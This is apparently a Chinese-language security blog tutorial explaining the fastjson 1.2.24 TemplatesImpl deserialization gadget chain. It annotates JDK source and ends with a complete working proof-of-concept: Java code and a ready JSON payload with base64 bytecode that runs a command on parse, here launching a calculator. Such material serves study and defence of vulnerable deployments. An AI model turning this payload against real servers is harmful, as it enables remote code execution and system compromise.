Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理
声明
本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。
Fastjson 是什么
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
fastjson相对其他JSON库的特点是快。fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。
以上摘自Fastjson GitHub 介绍。
但近年来随着 Fastjson 不断爆出漏洞,各大中小型公司都逐渐弃用 Fastjson ,甚至阿里自己开源的服务注册、配置管理平台 NACOS 在 1.3.0 版本之后都从 Fastjson 替换为了 Jackson (详见 https://github.com/alibaba/nacos/releases/tag/1.3.0) ,可见漏洞危害之大。
为什么会弃用 Fastjson ?
想要研究一个产品的漏洞其中有一条很好的途径就是去查询 CVE 编号,但是我在检索之后发现 Fastjson 只有 CVE-2017-18349 这一条,而 Jackson 竟然有高达 76 条。
这能否证明 Fastjson 比 Jackson 更安全呢?答案并不是,都是半斤八两,有些 Fastjson 里面出现的漏洞在 Jackson 里面也同样存在。
那为什么会有公司弃用 Fastjson 呢?
或许是 Jackson 有更完善且公开的漏洞管理机制,或许是国外的月亮比较圆,或许是随大流,也或许是 Fastjson 代码质量不过关(知乎上有很多回答批判 Fastjson 代码糟糕的),真实原因就不得而知了。
尽管近年来有公司不断弃用 Fastjson ,但还有很多公司在使用,并且已经开发上线的系统想要替换或者升级 Fastjson 还需要时间,因此我们很有必要学习一下 Fastjson 漏洞的产因。
Fastjson 漏洞产生原因
Fastjson 第一次被爆出有漏洞是官方在2017年3月15日主动披露的,详见 https://github.com/alibaba/fastjson/wiki/security_update_20170315 。漏洞影响 1.2.24 以及之前的版本。我们今天来研究一下当 fastjson version <= 1.2.24 时漏洞是如何产生的。
我们先在 pom.xml 中增加 fastjson 1.2.24 的依赖。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
下面先看一个最常见的序列化为JSON和反序列化为对象的过程。
首先定义一个常见的 Java 对象。
public class User {
private String name;
private Integer age;
public String getName() {
System.out.println("call getName");
return name;
}
public void setName(String name) {
System.out.println("call setName");
this.name = name;
}
public Integer getAge() {
System.out.println("call getAge");
return age;
}
public void setAge(Integer age) {
System.out.println("call setAge");
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
编写一个测试类
import com.alibaba.fastjson.JSON;
public class Eval0 {
public static void main(String[] args) {
User user = new User();
user.setName("守法市民小杜");
user.setAge(26);
String jsonString = JSON.toJSONString(user);
System.out.println("序列化后: " + jsonString);
System.out.println("反序列化开始");
System.out.println("反序列化: " + JSON.parseObject(jsonString, User.class));
System.out.println("反序列化结束");
}
}
代码很简单,运行后会输出:
call setName
call setAge
call getAge
call getName
序列化后: {"age":26,"name":"守法市民小杜"}
反序列化开始
call setAge
call setName
反序列化: User{name='守法市民小杜', age=26}
反序列化结束
可以看到 Fastjson 在将JSON字符串反序列化为 Java 对象的时候调用了 set方法,看过《Java 反序列化漏洞原理》前两篇文章的同学可能会思考,我们能否构建一条利用链,让 Fastjson 在执行 set 方法的时候能够执行我们指定的命令。
我们先假设这个方式成立,但目前存在两个问题:
- 如何让 Fastjson 将JSON字符串反序列化为我们指定的对象?
- 哪一个对象可以在 set 的时候执行我们指定的命令呢?
第一个问题查看 Fastjson 文档后可以得到答案,当 JSON 字符串的第一个 key 为 @type 时,会将 JSON 字符串反序列化为 @type 对应 value 中指定的 Java 类,这就是 Fastjson 的 AutoType 功能。并且 Fastjson 在反序列化带有 @type 的 JSON 字符串时,如果没有指定Java对象的类型,还会调用其成员变量的 get 方法。
我们稍微改动一下测试类,在序列化为JSON时将类型也写进去,在反序列化时将类型去除:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Eval1 {
public static void main(String[] args) {
User user = new User();
user.setName("守法市民小杜");
user.setAge(26);
String jsonString = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println("序列化后: " + jsonString);
System.out.println("反序列化开始");
System.out.println("反序列化: " + JSON.parseObject(jsonString));
System.out.println("反序列化结束");
}
}
执行后会输出:
call setName
call setAge
call getAge
call getName
序列化后: {"@type":"cn.typesafe.jsv.fastjson.User","age":26,"name":"守法市民小杜"}
反序列化开始
call setAge
call setName
call getAge
call getName
反序列化: {"name":"守法市民小杜","age":26}
反序列化结束
可以看到确实是调用了 Java 对象的 get 方法,所以如果 get 方法能够触发代码执行也是可以的。
TemplatesImpl 的利用链
扩大条件后,第二个问题研究安全的前辈也已经帮我们找到了一个合适的 Java 对象 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。
它的成员变量如下:
public final class TemplatesImpl implements Templates, Serializable {
static final long serialVersionUID = 673094361519270707L;
public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";
// 父抽象类的完整包名称
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 不重要,只要不为空就行
private String _name = null;
// 存放字节数组的数组
private byte[][] _bytecodes = null;
// Class 数组
private Class[] _class = null;
// translet 子类在 _class 中的下标
private int _transletIndex = -1;
// 存放 class 的容器,可以忽略
private Hashtable _auxClasses = null;
// 此字段不能为 null,因为要让 Fastjson 调用 getOutputProperties 方法
private Properties _outputProperties;
// 其他成员变量可以忽略
}
我们首先就来看 _outputProperties 对应的 getOutputProperties 方法:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
代码很简单,重要的是 newTransformer() 方法,代码如下:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
其中 getTransletInstance() 代码如下:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
// _name 不能为 null,不然就直接返回了
if (_name == null) return null;
// _class 不能赋值,要进入 defineTransletClasses 才能将我们准备的 Class 加载进来
if (_class == null) defineTransletClasses();
// 从加载成功的Class中找到 AbstractTranslet 的子类使用反射创建对象,newInstance() 会调用默认的无参构造方法,因此只要在构造方法中添加我们需要的代码就能做到任意代码执行
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
// 下面的代码不重要了
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
defineTransletClasses() 方法代码如下:
private void defineTransletClasses()
throws TransformerConfigurationException {
// _bytecodes 不能为 null
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// 获取类加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
// 获取二维数组的长度,一个字节数组对应一个 Class
final int classCount = _bytecodes.length;
_class = new Class[classCount];
// 判断 Class 数量长度大于1就初始化一个容器用于存放 Class,对我们来说没啥用,可以忽略
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
// 使用类加载器将字节数组加载为 Class
_class[i] = loader.defineClass(_bytecodes[i]);
// 获取其父类 Class
final Class superClass = _class[i].getSuperclass();
// 判断当前 Class 的父类 Class 名称是否为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
// 赋值 translet Class 在数组中的下标
_transletIndex = i;
}
else {
// 存储 Class 名称及 Class,对我们来说没啥用,可以忽略
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
到目前为止,基本的利用链我们已经搞清楚了,先让 Fastjson 在反序列化的时候将 TemplatesImpl 的几个关键成员变量赋值,如将 _bytecodes 字段赋值为我们事先准备好的字节数组,这样在 Fastjson 调用 getTransletInstance 的时候会接着调用 defineTransletClasses 方法将字节数组使用类加载器加载对 Class,完成之后会再找到 class 数组 _class 中 AbstractTranslet 的子类 Class 使用反射调用无参构造方法创建对象,而这个对象是我们可以控制的,在其构造方法中添加任意代码完成利用。
但是还有三个问题:
- 如何将 Java Class 文件转换为字节?
- 如何将 Java Class 字节序列化为 Fastjson 可以识别的 JSON 内容?
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中我们需要操作的那几个成员变量都是以下划线为开头的,并且只有 get 方法没有 set 方法,Fastjson 要如何进行反序列化?
第一个问题我们可以直接使用 IO 流将 Java Class 文件读取到字节数组中,但这样太过粗暴且不利于移植,因此我们可以使用操作 Java 字节码库 javassist 来获取 Class 字节数组。
第二个问题需要我们将 Class 字节数组进行 Base64 编码,Fastjson 在反序列化的时候会自动进行解码。
第三个问题需要我们在反序列化JSON字符串时指定 Fastjson 支持没有 set 方法的成员变量,因此也注定了此种方式可利用范围较小。
测试
在 pom.xml 中增加 javassist 依赖。
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
编写测试代码:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.IOException;
import java.util.Base64;
import java.util.Collections;
import java.util.LinkedHashMap;
import java.util.Map;
public class Eval2 {
public static class EvalTransletClass extends AbstractTranslet {
public EvalTransletClass() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static void main(String[] args) throws Exception {
// 读取编译后的 class 文件为字节数组
ClassPool classPool = ClassPool.getDefault();
final CtClass ctClass = classPool.get(EvalTransletClass.class.getName());
final byte[] bytes = ctClass.toBytecode();
// 将 class 字节数组编码为 base64
final String byteCode = Base64.getEncoder().encodeToString(bytes);
// 构造 POC,这里使用 LinkedHashMap 是因为要保证顺序,@type 要放到第一位
final Map<String, Object> pocMap = new LinkedHashMap<>();
pocMap.put("@type", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
pocMap.put("_bytecodes", Collections.singletonList(byteCode));
pocMap.put("_name", "守法市民小杜");
pocMap.put("_outputProperties", new Object());
pocMap.put("_tfactory", new Object());
final String poc = JSON.toJSONString(pocMap);
System.out.println("POC JSON:"+poc);
// POC JSON:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAMQoABgAhCgAiACMIACQKACIAJQcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARRXZhbFRyYW5zbGV0Q2xhc3MBAAxJbm5lckNsYXNzZXMBADJMY24vdHlwZXNhZmUvanN2L2Zhc3Rqc29uL0V2YWwyJEV2YWxUcmFuc2xldENsYXNzOwEACkV4Y2VwdGlvbnMHACkBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAqAQAQTWV0aG9kUGFyYW1ldGVycwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEACkV2YWwyLmphdmEMAAcACAcAKwwALAAtAQAEY2FsYwwALgAvBwAwAQAwY24vdHlwZXNhZmUvanN2L2Zhc3Rqc29uL0V2YWwyJEV2YWxUcmFuc2xldENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAeY24vdHlwZXNhZmUvanN2L2Zhc3Rqc29uL0V2YWwyACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAFgAEABcADQAYAAsAAAAMAAEAAAAOAAwADwAAABAAAAAEAAEAEQABABIAEwADAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAHQALAAAAIAADAAAAAQAMAA8AAAAAAAEAFAAVAAEAAAABABYAFwACABAAAAAEAAEAGAAZAAAACQIAFAAAABYAAAABABIAGgADAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAIgALAAAAKgAEAAAAAQAMAA8AAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAQAAAABAABABgAGQAAAA0DABQAAAAbAAAAHQAAAAIAHwAAAAIAIAAOAAAACgABAAUAJgANAAk="],"_name":"守法市民小杜","_outputProperties":{}}
// 反序列化为 Java 对象
JSON.parseObject(poc, Feature.SupportNonPublicField);
}
}
运行之后将会看到弹出了计算器。
注
文中测试使用系统和工具版本如下:
- 操作系统 windows 10 20H2
- jdk java 1.8.0_301
- fastjson 1.2.24
- javassist 3.28.0-GA
- 代码仓库 https://github.com/dushixiang/java-serialization-vulnerability
其他
此种方式可利用范围较小,但在高版本JDK上依然可以利用成功。
常见的 Fastjson 漏洞利用还有 RMI/JNDI 和 LDAP,但在高版本的JDK中,Java官方觉得请求远程地址上的类是一个很危险的操作,所以在最新的JDK中默认关闭了这个功能,我们在后面也会详细介绍。